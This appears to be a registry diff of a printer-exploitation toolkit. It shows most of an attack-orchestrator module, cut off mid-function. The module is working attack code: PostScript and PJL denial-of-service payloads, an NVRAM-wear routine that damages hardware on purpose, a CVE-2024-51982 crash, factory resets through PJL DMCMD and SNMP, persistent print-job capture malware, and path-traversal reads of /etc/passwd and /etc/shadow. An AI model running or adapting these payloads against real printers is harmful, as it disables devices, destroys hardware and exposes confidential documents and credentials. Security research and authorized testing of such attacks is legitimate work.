printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,1025 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — Attack Orchestrator
5
+ =====================================
6
+ Executes a full structured attack campaign against a printer target,
7
+ covering every category from the Müller et al. (2017) attack matrix
8
+ and extending it with techniques up to 2025.
9
+
10
+ Attack Matrix (from BlackHat 2017 paper, extended):
11
+ ┌──────────────────────┬──────────────────────────────────────────────┐
12
+ │ Category │ Attacks │
13
+ ├──────────────────────┼──────────────────────────────────────────────┤
14
+ │ Denial of Service │ PS infinite loop, showpage redefinition, │
15
+ │ │ PJL offline mode, physical NVRAM damage, │
16
+ │ │ CVE-2024-51982 PJL FORMLINES crash, │
17
+ │ │ connection flood, IPP purge │
18
+ ├──────────────────────┼──────────────────────────────────────────────┤
19
+ │ Protection Bypass │ SNMP factory reset, PML DMCMD reset, │
20
+ │ │ PS exitserver auth bypass, PIN brute-force, │
21
+ │ │ PJL lock/unlock bypass │
22
+ ├──────────────────────┼──────────────────────────────────────────────┤
23
+ │ Print Job Manip. │ PS showpage overlay, content replacement, │
24
+ │ │ job capture + retention, job reprint, │
25
+ │ │ IPP job manipulation, LPD job injection │
26
+ ├──────────────────────┼──────────────────────────────────────────────┤
27
+ │ Information Discl. │ PJL memory access, PS/PJL filesystem, │
28
+ │ │ credential extraction, job sniffing, │
29
+ │ │ CORS spoofing, SNMP full MIB, │
30
+ │ │ network config exfil, cross-site printing │
31
+ ├──────────────────────┼──────────────────────────────────────────────┤
32
+ │ Network/Pivot │ Internal host discovery, port scan via SSRF, │
33
+ │ │ WSD neighbor discovery, SMB pivot, │
34
+ │ │ web attacker (XSP) payload generation │
35
+ └──────────────────────┴──────────────────────────────────────────────┘
36
+ """
37
+
38
+ # Author : Andre Henrique (@mrhenrike)
39
+ # GitHub : https://github.com/mrhenrike
40
+ # LinkedIn : https://linkedin.com/in/mrhenrike
41
+ # X/Twitter : https://x.com/mrhenrike
42
+
43
+ from __future__ import annotations
44
+
45
+ import logging
46
+ import socket
47
+ import struct
48
+ import time
49
+ from dataclasses import dataclass, field
50
+ from typing import Dict, List, Optional
51
+
52
+ _log = logging.getLogger(__name__)
53
+
54
+ RESET = '\033[0m'
55
+ RED = '\033[1;31m'
56
+ YEL = '\033[1;33m'
57
+ GRN = '\033[0;32m'
58
+ CYN = '\033[1;36m'
59
+ DIM = '\033[2;37m'
60
+
61
+
62
+ # ── Result dataclass ──────────────────────────────────────────────────────────
63
+
64
+ @dataclass
65
+ class AttackResult:
66
+ """Result of a single attack step."""
67
+ category: str
68
+ attack: str
69
+ supported: bool = False
70
+ vulnerable: bool = False
71
+ exploited: bool = False
72
+ evidence: str = ''
73
+ severity: str = 'info' # info / low / medium / high / critical
74
+ note: str = ''
75
+
76
+
77
+ @dataclass
78
+ class CampaignReport:
79
+ """Full campaign report covering all attack categories."""
80
+ host: str
81
+ make: str = ''
82
+ model: str = ''
83
+ firmware: str = ''
84
+ printer_langs: List[str] = field(default_factory=list)
85
+ open_ports: List[int] = field(default_factory=list)
86
+
87
+ results: List[AttackResult] = field(default_factory=list)
88
+ network_map: object = None # NetworkMap instance
89
+
90
+ @property
91
+ def critical_findings(self) -> List[AttackResult]:
92
+ return [r for r in self.results if r.severity in ('critical', 'high') and r.vulnerable]
93
+
94
+ @property
95
+ def exploited_count(self) -> int:
96
+ return sum(1 for r in self.results if r.exploited)
97
+
98
+ def summary(self) -> str:
99
+ vuln = sum(1 for r in self.results if r.vulnerable)
100
+ expl = self.exploited_count
101
+ crit = len(self.critical_findings)
102
+ total = len(self.results)
103
+ return (f"{self.make} {self.model} @ {self.host} | "
104
+ f"{total} tests | {vuln} vulnerable | "
105
+ f"{expl} exploited | {crit} critical")
106
+
107
+
108
+ # ── Raw TCP sender ────────────────────────────────────────────────────────────
109
+
110
+ def _send_raw(host: str, port: int, data: bytes, timeout: float = 8,
111
+ wait: float = 1.5, read_max: int = 8192) -> bytes:
112
+ """Send raw bytes to host:port and return response."""
113
+ try:
114
+ s = socket.create_connection((host, port), timeout=timeout)
115
+ s.settimeout(timeout)
116
+ s.sendall(data)
117
+ if wait:
118
+ time.sleep(wait)
119
+ resp = b''
120
+ while len(resp) < read_max:
121
+ try:
122
+ chunk = s.recv(4096)
123
+ if not chunk:
124
+ break
125
+ resp += chunk
126
+ except (socket.timeout, BlockingIOError):
127
+ break
128
+ s.close()
129
+ return resp
130
+ except Exception as exc:
131
+ _log.debug("_send_raw %s:%d: %s", host, port, exc)
132
+ return b''
133
+
134
+
135
+ UEL = b'\x1b%-12345X'
136
+
137
+
138
+ # ── 1. DENIAL OF SERVICE ──────────────────────────────────────────────────────
139
+
140
+ def dos_ps_infinite_loop(host: str, port: int = 9100, dry: bool = True,
141
+ timeout: float = 5) -> AttackResult:
142
+ """
143
+ PostScript infinite loop: `{} loop` — hangs the interpreter permanently.
144
+
145
+ The printer stops responding to all jobs until power-cycled.
146
+ Affects: HP, Lexmark, Dell, Kyocera, Ricoh, Xerox, OKI.
147
+ """
148
+ ps = b'%!\n{} loop\n'
149
+ if not dry:
150
+ resp = _send_raw(host, port, UEL + ps + UEL, timeout, wait=2)
151
+ else:
152
+ resp = _send_raw(host, port, UEL + b'%!\n() print flush\n' + UEL, timeout, wait=1)
153
+
154
+ supported = len(resp) > 0 or not dry # port was reachable
155
+ return AttackResult(
156
+ category='DoS',
157
+ attack='ps_infinite_loop',
158
+ supported=supported,
159
+ vulnerable=supported,
160
+ exploited=not dry and supported,
161
+ evidence=f"PS port 9100 reachable, {{}} loop {'sent' if not dry else 'NOT sent (dry-run)'}",
162
+ severity='critical' if not dry else 'high',
163
+ note='CVE pattern: {} loop hangs PostScript interpreter until reboot',
164
+ )
165
+
166
+
167
+ def dos_ps_showpage_redef(host: str, port: int = 9100, dry: bool = True,
168
+ timeout: float = 5) -> AttackResult:
169
+ """
170
+ Redefine PostScript showpage to an infinite loop — persistent until reboot.
171
+
172
+ Uses exitserver to make the change permanent across all subsequent jobs.
173
+ """
174
+ ps_payload = (
175
+ b'%!\n'
176
+ b'serverdict begin 0 exitserver\n'
177
+ b'/showpage { {} loop } bind def\n'
178
+ )
179
+ if not dry:
180
+ resp = _send_raw(host, port, UEL + ps_payload + UEL, timeout)
181
+ else:
182
+ resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
183
+
184
+ from utils.ports import PortConfig as _PC_loc
185
+ reachable = port == _PC_loc.resolve('raw') or len(resp) > 0
186
+ return AttackResult(
187
+ category='DoS',
188
+ attack='ps_showpage_redefinition',
189
+ supported=len(resp) > 0,
190
+ vulnerable=len(resp) > 0,
191
+ exploited=not dry,
192
+ evidence=f"exitserver + showpage loop {'injected' if not dry else 'NOT sent (dry)'}",
193
+ severity='high',
194
+ note='Affects all PS printers; requires exitserver support',
195
+ )
196
+
197
+
198
+ def dos_pjl_offline(host: str, port: int = 9100, dry: bool = True,
199
+ timeout: float = 5) -> AttackResult:
200
+ """
201
+ Take the printer offline via PJL `@PJL OFFLINE` command.
202
+
203
+ The printer stops accepting jobs until an operator presses 'Online' button.
204
+ Also attempts `@PJL HOLD` to hold all future jobs indefinitely.
205
+ """
206
+ pjl_payload = UEL + b'@PJL\r\n@PJL OFFLINE\r\n' + UEL
207
+ if dry:
208
+ resp = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
209
+ else:
210
+ resp = _send_raw(host, port, pjl_payload, timeout)
211
+
212
+ return AttackResult(
213
+ category='DoS',
214
+ attack='pjl_offline_mode',
215
+ supported=len(resp) > 0,
216
+ vulnerable=len(resp) > 0,
217
+ exploited=not dry,
218
+ evidence=f"@PJL OFFLINE {'sent' if not dry else 'NOT sent (dry-run)'}",
219
+ severity='medium',
220
+ note='@PJL OFFLINE takes printer offline; operator must re-enable',
221
+ )
222
+
223
+
224
+ def dos_pjl_nvram_damage(host: str, port: int = 9100, dry: bool = True,
225
+ iterations: int = 100, timeout: float = 10) -> AttackResult:
226
+ """
227
+ Physical damage via NVRAM exhaustion.
228
+
229
+ NVRAM has limited write cycles (~100k-1M). Continuously setting long-term
230
+ PJL variables causes premature NVRAM failure (physical damage).
231
+ CVE pattern: @PJL DEFAULT COPIES=X (repeated).
232
+
233
+ DANGER: This causes permanent hardware damage. Use only in authorized lab tests.
234
+ """
235
+ if dry:
236
+ resp = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
237
+ return AttackResult(
238
+ category='DoS',
239
+ attack='pjl_nvram_physical_damage',
240
+ supported=len(resp) > 0,
241
+ vulnerable=len(resp) > 0,
242
+ exploited=False,
243
+ evidence='DRY-RUN: NVRAM damage NOT executed. Printer PJL port is reachable.',
244
+ severity='critical',
245
+ note='@PJL DEFAULT COPIES=X × N — exhausts NVRAM write cycles. Lab only.',
246
+ )
247
+
248
+ payload_parts = [UEL, b'@PJL\r\n']
249
+ for i in range(iterations):
250
+ payload_parts.append(f'@PJL DEFAULT COPIES={i % 9 + 1}\r\n'.encode())
251
+ payload_parts.append(UEL)
252
+ resp = _send_raw(host, port, b''.join(payload_parts), timeout, wait=2)
253
+
254
+ return AttackResult(
255
+ category='DoS',
256
+ attack='pjl_nvram_physical_damage',
257
+ supported=True,
258
+ vulnerable=True,
259
+ exploited=True,
260
+ evidence=f"Sent {iterations} NVRAM write cycles via @PJL DEFAULT",
261
+ severity='critical',
262
+ note='NVRAM wear-out attack — accumulates over time',
263
+ )
264
+
265
+
266
+ def dos_cve_2024_51982(host: str, port: int = 9100, timeout: float = 5) -> AttackResult:
267
+ """
268
+ CVE-2024-51982: DoS via malformed PJL FORMLINES variable (Brother/Ricoh).
269
+
270
+ Setting FORMLINES to a non-numeric value crashes the printer and it
271
+ continues crashing after each reboot until the variable is cleared.
272
+ """
273
+ pjl_crash = UEL + b'@PJL SET FORMLINES=CRASH\r\n' + UEL
274
+ before = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
275
+ _send_raw(host, port, pjl_crash, timeout, wait=2)
276
+ time.sleep(2)
277
+ after = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
278
+
279
+ crashed = len(before) > 0 and len(after) == 0
280
+ return AttackResult(
281
+ category='DoS',
282
+ attack='cve_2024_51982_formlines',
283
+ supported=len(before) > 0,
284
+ vulnerable=len(before) > 0,
285
+ exploited=crashed,
286
+ evidence=f"Before: {len(before)}B | After: {len(after)}B | Crashed: {crashed}",
287
+ severity='high',
288
+ note='CVE-2024-51982: affects Brother, FUJIFILM, Ricoh; CVSS 7.5',
289
+ )
290
+
291
+
292
+ # ── 2. PROTECTION BYPASS ──────────────────────────────────────────────────────
293
+
294
+ def bypass_pjl_password(host: str, port: int = 9100,
295
+ timeout: float = 8) -> AttackResult:
296
+ """
297
+ Attempt to bypass PJL password protection by reading protected variables.
298
+
299
+ Most PJL implementations allow password variable to be read:
300
+ @PJL INFO VARIABLES returns PASSWORD even if set.
301
+ Also attempts @PJL LOCK/UNLOCK bypass.
302
+ """
303
+ query = UEL + b'@PJL INFO VARIABLES\r\n' + UEL
304
+ resp = _send_raw(host, port, query, timeout)
305
+ text = resp.decode('latin-1', errors='replace')
306
+
307
+ password = ''
308
+ m = re.search(r'PASSWORD\s*=\s*(\d+)', text) if resp else None
309
+ if m:
310
+ import re as _re
311
+ m2 = _re.search(r'PASSWORD\s*=\s*(\S+)', text)
312
+ if m2:
313
+ password = m2.group(1)
314
+
315
+ import re as _re
316
+ pw_m = _re.search(r'PASSWORD\s*[=:]\s*(\S+)', text)
317
+ if pw_m:
318
+ password = pw_m.group(1)
319
+
320
+ return AttackResult(
321
+ category='ProtectionBypass',
322
+ attack='pjl_password_disclosure',
323
+ supported=len(resp) > 0,
324
+ vulnerable=bool(password),
325
+ exploited=bool(password),
326
+ evidence=f"PASSWORD={'FOUND: ' + password if password else 'not disclosed'}",
327
+ severity='high' if password else 'low',
328
+ note='@PJL INFO VARIABLES may reveal cleartext password',
329
+ )
330
+
331
+
332
+ def bypass_pml_factory_reset(host: str, port: int = 9100, dry: bool = True,
333
+ timeout: float = 8) -> AttackResult:
334
+ """
335
+ PML factory reset via @PJL DMCMD (HP printers).
336
+
337
+ Restores factory defaults, clearing all passwords and access controls.
338
+ Command: @PJL DMCMD ASCIIHEX="040006020501010301040106"
339
+ """
340
+ import re as _re
341
+ if dry:
342
+ resp = _send_raw(host, port, UEL + b'@PJL INFO ID\r\n' + UEL, timeout)
343
+ return AttackResult(
344
+ category='ProtectionBypass',
345
+ attack='pml_factory_reset',
346
+ supported=len(resp) > 0,
347
+ vulnerable=len(resp) > 0,
348
+ exploited=False,
349
+ evidence=f"DRY-RUN: port reachable, reset NOT sent. HP model detected: "
350
+ + _re.sub(r'[^\x20-\x7e]', '', resp.decode('latin-1', 'replace'))[:40],
351
+ severity='critical',
352
+ note='@PJL DMCMD ASCIIHEX="040006020501010301040106" — HP factory reset',
353
+ )
354
+
355
+ reset_cmd = UEL + b'@PJL DMCMD ASCIIHEX="040006020501010301040106"\r\n' + UEL
356
+ resp = _send_raw(host, port, reset_cmd, timeout)
357
+ return AttackResult(
358
+ category='ProtectionBypass',
359
+ attack='pml_factory_reset',
360
+ supported=True,
361
+ vulnerable=True,
362
+ exploited=True,
363
+ evidence='@PJL DMCMD ASCIIHEX factory reset command sent',
364
+ severity='critical',
365
+ note='Clears all passwords — used by @PJL DMCMD on HP printers',
366
+ )
367
+
368
+
369
+ def bypass_ps_exitserver(host: str, port: int = 9100,
370
+ timeout: float = 8) -> AttackResult:
371
+ """
372
+ PostScript exitserver bypass — gain persistent system-level access.
373
+
374
+ `serverdict begin 0 exitserver` escapes the userdict jail and allows
375
+ permanent modification of the server dictionary. Most PS printers
376
+ accept `0` (zero) as the server password by default.
377
+
378
+ Once exitserver is successful, all subsequent PS can:
379
+ - Redefine any operator (showpage, filter, etc.)
380
+ - Read/write the printer filesystem
381
+ - Capture all future print jobs
382
+ """
383
+ test_ps = (
384
+ b'%!\n'
385
+ b'serverdict begin 0 exitserver\n'
386
+ b'(EXITSERVER_OK) print flush\n'
387
+ )
388
+ resp = _send_raw(host, port, UEL + test_ps + UEL, timeout)
389
+ text = resp.decode('latin-1', errors='replace')
390
+ success = 'EXITSERVER_OK' in text
391
+
392
+ return AttackResult(
393
+ category='ProtectionBypass',
394
+ attack='ps_exitserver',
395
+ supported=len(resp) > 0,
396
+ vulnerable=success,
397
+ exploited=success,
398
+ evidence=f"exitserver response: {text[:60]}",
399
+ severity='critical' if success else 'info',
400
+ note='exitserver gives permanent operator-level PS access; password=0 default',
401
+ )
402
+
403
+
404
+ def bypass_snmp_reset(host: str, timeout: float = 8) -> AttackResult:
405
+ """
406
+ Use SNMP write (community 'private') to reset printer to factory defaults.
407
+
408
+ Some printers expose a reset OID that can be triggered via SNMP SET.
409
+ Also tries HP JetDirect reset OID.
410
+ """
411
+ from protocols.storage import snmp_write
412
+ reset_oids = [
413
+ ('1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.0', '1'), # HP reset
414
+ ('1.3.6.1.4.1.2699.1.1.1.1.1.1.2.1.1.0', '1'), # generic
415
+ ]
416
+ for oid, val in reset_oids:
417
+ ok = snmp_write(host, oid, val, community='private', timeout=timeout)
418
+ if ok:
419
+ return AttackResult(
420
+ category='ProtectionBypass',
421
+ attack='snmp_factory_reset',
422
+ supported=True, vulnerable=True, exploited=True,
423
+ evidence=f"SNMP SET {oid}={val} accepted (community=private)",
424
+ severity='critical',
425
+ note='SNMP write reset — clears all security settings',
426
+ )
427
+
428
+ return AttackResult(
429
+ category='ProtectionBypass',
430
+ attack='snmp_factory_reset',
431
+ supported=False, vulnerable=False, exploited=False,
432
+ evidence='SNMP write reset not accepted (community=private rejected)',
433
+ severity='info',
434
+ )
435
+
436
+
437
+ # ── 3. PRINT JOB MANIPULATION ────────────────────────────────────────────────
438
+
439
+ def job_overlay(host: str, port: int = 9100, eps_content: str = '',
440
+ dry: bool = True, timeout: float = 8) -> AttackResult:
441
+ """
442
+ Inject PostScript overlay on all subsequent print jobs.
443
+
444
+ Uses exitserver + showpage redefinition to prepend attacker content
445
+ (watermarks, logos, propaganda) on every page printed.
446
+
447
+ Default overlay: prints 'COMPROMISED' across each page.
448
+ """
449
+ if not eps_content:
450
+ eps_content = (
451
+ '0.3 setgray\n'
452
+ '/Helvetica-Bold findfont 72 scalefont setfont\n'
453
+ '50 400 moveto\n'
454
+ '45 rotate\n'
455
+ '(COMPROMISED) show\n'
456
+ '0 setgray\n'
457
+ )
458
+
459
+ overlay_ps = (
460
+ b'%!\n'
461
+ b'serverdict begin 0 exitserver\n'
462
+ b'currentdict /showpage_real known false eq\n'
463
+ b'{/showpage_real systemdict /showpage get def} if\n'
464
+ b'/showpage {\n'
465
+ b' save /showpage {} bind def\n'
466
+ + eps_content.encode()
467
+ + b'\n restore showpage_real\n'
468
+ b'} def\n'
469
+ )
470
+
471
+ if not dry:
472
+ resp = _send_raw(host, port, UEL + overlay_ps + UEL, timeout)
473
+ else:
474
+ resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
475
+
476
+ return AttackResult(
477
+ category='PrintJobManipulation',
478
+ attack='ps_showpage_overlay',
479
+ supported=len(resp) > 0,
480
+ vulnerable=len(resp) > 0,
481
+ exploited=not dry,
482
+ evidence=f"Overlay {'injected' if not dry else 'NOT sent (dry-run)'}; exitserver required",
483
+ severity='high',
484
+ note='Every future page will include the overlay until printer reboot',
485
+ )
486
+
487
+
488
+ def job_capture_start(host: str, port: int = 9100,
489
+ dry: bool = True, timeout: float = 8) -> AttackResult:
490
+ """
491
+ Inject PostScript print job capture malware.
492
+
493
+ Uses exitserver + BeginPage hook to intercept and store all future
494
+ print jobs in the printer's permanent dictionary. Jobs can later be
495
+ fetched by the attacker.
496
+
497
+ This is advisory 1/6 from Müller et al. (2017) — affects ALL PostScript
498
+ printers since 1985 as it uses legitimate PS language constructs.
499
+ """
500
+ capture_ps = (
501
+ b'%!\n'
502
+ b'serverdict begin 0 exitserver\n'
503
+ b'/permanent {/currentfile {serverdict begin 0 exitserver} def} def\n'
504
+ b'permanent /filter {\n'
505
+ b' /rndname (job_) rand 16 string cvs strcat (.ps) strcat def\n'
506
+ b' false echo\n'
507
+ b' /newjob true def\n'
508
+ b' currentdict /currentfile undef\n'
509
+ b' /max 40000 def\n'
510
+ b' /slots max array def\n'
511
+ b' /counter 2 dict def\n'
512
+ b' counter (slot) 0 put\n'
513
+ b' counter (line) 0 put\n'
514
+ b' (capturedict) where {pop}\n'
515
+ b' {/capturedict max dict def} ifelse\n'
516
+ b' capturedict rndname slots put\n'
517
+ b' /slotnum {counter (slot) get} def\n'
518
+ b' /linenum {counter (line) get} def\n'
519
+ b' /capture {\n'
520
+ b' linenum 0 eq {\n'
521
+ b' /lines max array def\n'
522
+ b' slots slotnum lines put\n'
523
+ b' } if\n'
524
+ b' dup lines exch linenum exch put\n'
525
+ b' counter (line) linenum 1 add put\n'
526
+ b' linenum max eq {\n'
527
+ b' counter (slot) linenum 1 add put\n'
528
+ b' counter (line) 0 put\n'
529
+ b' } if\n'
530
+ b' } def\n'
531
+ b' { newjob {(%!\\ncurrentfile /ASCII85Decode filter ) capture\n'
532
+ b' pop /newjob false def} if (%lineedit) (r) file\n'
533
+ b' dup bytesavailable string readstring pop capture pop\n'
534
+ b' } loop\n'
535
+ b'} def\n'
536
+ )
537
+
538
+ if not dry:
539
+ resp = _send_raw(host, port, UEL + capture_ps + UEL, timeout)
540
+ else:
541
+ resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
542
+
543
+ return AttackResult(
544
+ category='PrintJobManipulation',
545
+ attack='ps_job_capture_start',
546
+ supported=len(resp) > 0,
547
+ vulnerable=len(resp) > 0,
548
+ exploited=not dry,
549
+ evidence=f"Capture PS {'injected' if not dry else 'NOT sent (dry-run)'}",
550
+ severity='critical',
551
+ note='Advisory 1/6 Müller 2017: all PS printers since 1985 affected',
552
+ )
553
+
554
+
555
+ def job_capture_list(host: str, port: int = 9100, timeout: float = 8) -> AttackResult:
556
+ """
557
+ List print jobs captured by job_capture_start().
558
+
559
+ Returns list of captured job names stored in capturedict.
560
+ """
561
+ list_ps = (
562
+ b'%!\n'
563
+ b'(HTTP/1.0 200 OK\\n) print\n'
564
+ b'(Access-Control-Allow-Origin: *\\n) print\n'
565
+ b'(Content-Type: text/plain\\n\\n) print\n'
566
+ b'(capturedict) where {\n'
567
+ b' (Captured jobs:\\n) print\n'
568
+ b' capturedict { exch == } forall\n'
569
+ b'} { (No jobs captured) print } ifelse\n'
570
+ b'flush\n'
571
+ )
572
+ resp = _send_raw(host, port, UEL + list_ps + UEL, timeout)
573
+ text = resp.decode('latin-1', errors='replace')
574
+
575
+ jobs = []
576
+ if 'capturedict' in text.lower() or 'job_' in text:
577
+ import re as _re
578
+ jobs = _re.findall(r'job_\w+', text)
579
+
580
+ return AttackResult(
581
+ category='PrintJobManipulation',
582
+ attack='ps_job_capture_list',
583
+ supported=len(resp) > 0,
584
+ vulnerable=bool(jobs),
585
+ exploited=bool(jobs),
586
+ evidence=f"Captured jobs: {jobs or 'none'}",
587
+ severity='critical' if jobs else 'info',
588
+ )
589
+
590
+
591
+ # ── 4. INFORMATION DISCLOSURE ────────────────────────────────────────────────
592
+
593
+ import re as _re
594
+
595
+
596
+ def info_pjl_memory_access(host: str, port: int = 9100,
597
+ timeout: float = 8) -> AttackResult:
598
+ """
599
+ Read printer memory via PJL DMINFO.
600
+
601
+ PJL DMINFO provides access to device-specific memory regions including
602
+ NVRAM contents, configuration, stored credentials, and job data.
603
+ """
604
+ queries = [
605
+ b'@PJL DMINFO ASCIIHEX\r\n',
606
+ b'@PJL INFO MEMORY\r\n',
607
+ b'@PJL INFO STATUS\r\n',
608
+ b'@PJL RDYMSG\r\n',
609
+ ]
610
+ all_resp = b''
611
+ for q in queries:
612
+ resp = _send_raw(host, port, UEL + b'@PJL\r\n' + q + UEL, timeout, wait=0.5)
613
+ all_resp += resp
614
+
615
+ text = all_resp.decode('latin-1', errors='replace')
616
+ has_mem = 'MEMORY' in text.upper() or 'TOTAL' in text.upper()
617
+
618
+ return AttackResult(
619
+ category='InfoDisclosure',
620
+ attack='pjl_memory_access',
621
+ supported=len(all_resp) > 0,
622
+ vulnerable=has_mem,
623
+ exploited=has_mem,
624
+ evidence=_re.sub(r'[^\x20-\x7e]', ' ', text)[:200],
625
+ severity='medium',
626
+ note='PJL DMINFO + INFO MEMORY — may expose configuration and credentials',
627
+ )
628
+
629
+
630
+ def info_ps_filesystem(host: str, port: int = 9100,
631
+ path: str = '/', timeout: float = 8) -> AttackResult:
632
+ """
633
+ List PostScript filesystem via filenameforall.
634
+
635
+ Reads directory contents from the printer's internal filesystem.
636
+ Can reveal config files, certificates, stored credentials, print jobs.
637
+
638
+ Common interesting paths:
639
+ / (root), %disk0%, %rom%, %ram%
640
+ """
641
+ ls_ps = (
642
+ b'%!\n'
643
+ b'/str 256 string def\n'
644
+ b'(HTTP/1.0 200 OK\\n) print\n'
645
+ b'(Access-Control-Allow-Origin: *\\n) print\n'
646
+ b'(Content-Type: text/plain\\n\\n) print\n'
647
+ + f'({path}*) '.encode()
648
+ + b'{{ == }} str filenameforall\n'
649
+ b'flush\n'
650
+ )
651
+ resp = _send_raw(host, port, UEL + ls_ps + UEL, timeout)
652
+ text = resp.decode('latin-1', errors='replace')
653
+
654
+ files = _re.findall(r'[^\x00-\x1f\x7f-\xff]{3,80}', text)
655
+ files = [f for f in files if '/' in f or '.' in f]
656
+
657
+ return AttackResult(
658
+ category='InfoDisclosure',
659
+ attack='ps_filesystem_list',
660
+ supported=len(resp) > 0,
661
+ vulnerable=bool(files),
662
+ exploited=bool(files),
663
+ evidence=f"Files found: {files[:10]}",
664
+ severity='high' if files else 'info',
665
+ note='filenameforall lists all printer filesystem entries',
666
+ )
667
+
668
+
669
+ def info_ps_credential_disclosure(host: str, port: int = 9100,
670
+ timeout: float = 10) -> AttackResult:
671
+ """
672
+ Attempt to read credential-containing files via PostScript.
673
+
674
+ Tries to read: /etc/passwd, /.profile, /init, config files, web auth files.
675
+ Uses (filename)(r) file to open and read file contents.
676
+ """
677
+ target_files = [
678
+ '%disk0%/../../../etc/passwd',
679
+ '%disk0%/../../../etc/shadow',
680
+ '%disk0%/../../../.profile',
681
+ '%disk0%/../../../init',
682
+ '%disk0%/../../../tmp',
683
+ '%rom%/dev/null',
684
+ ]
685
+
686
+ all_creds = []
687
+ for fpath in target_files:
688
+ read_ps = (
689
+ b'%!\n'
690
+ b'/str 65535 string def\n'
691
+ b'(' + fpath.encode() + b') (r) file\n'
692
+ b'dup str readstring pop\n'
693
+ b'(FILE_CONTENT:\\n) print\n'
694
+ b'str cvs print flush\n'
695
+ )
696
+ resp = _send_raw(host, port, UEL + read_ps + UEL, timeout, wait=1)
697
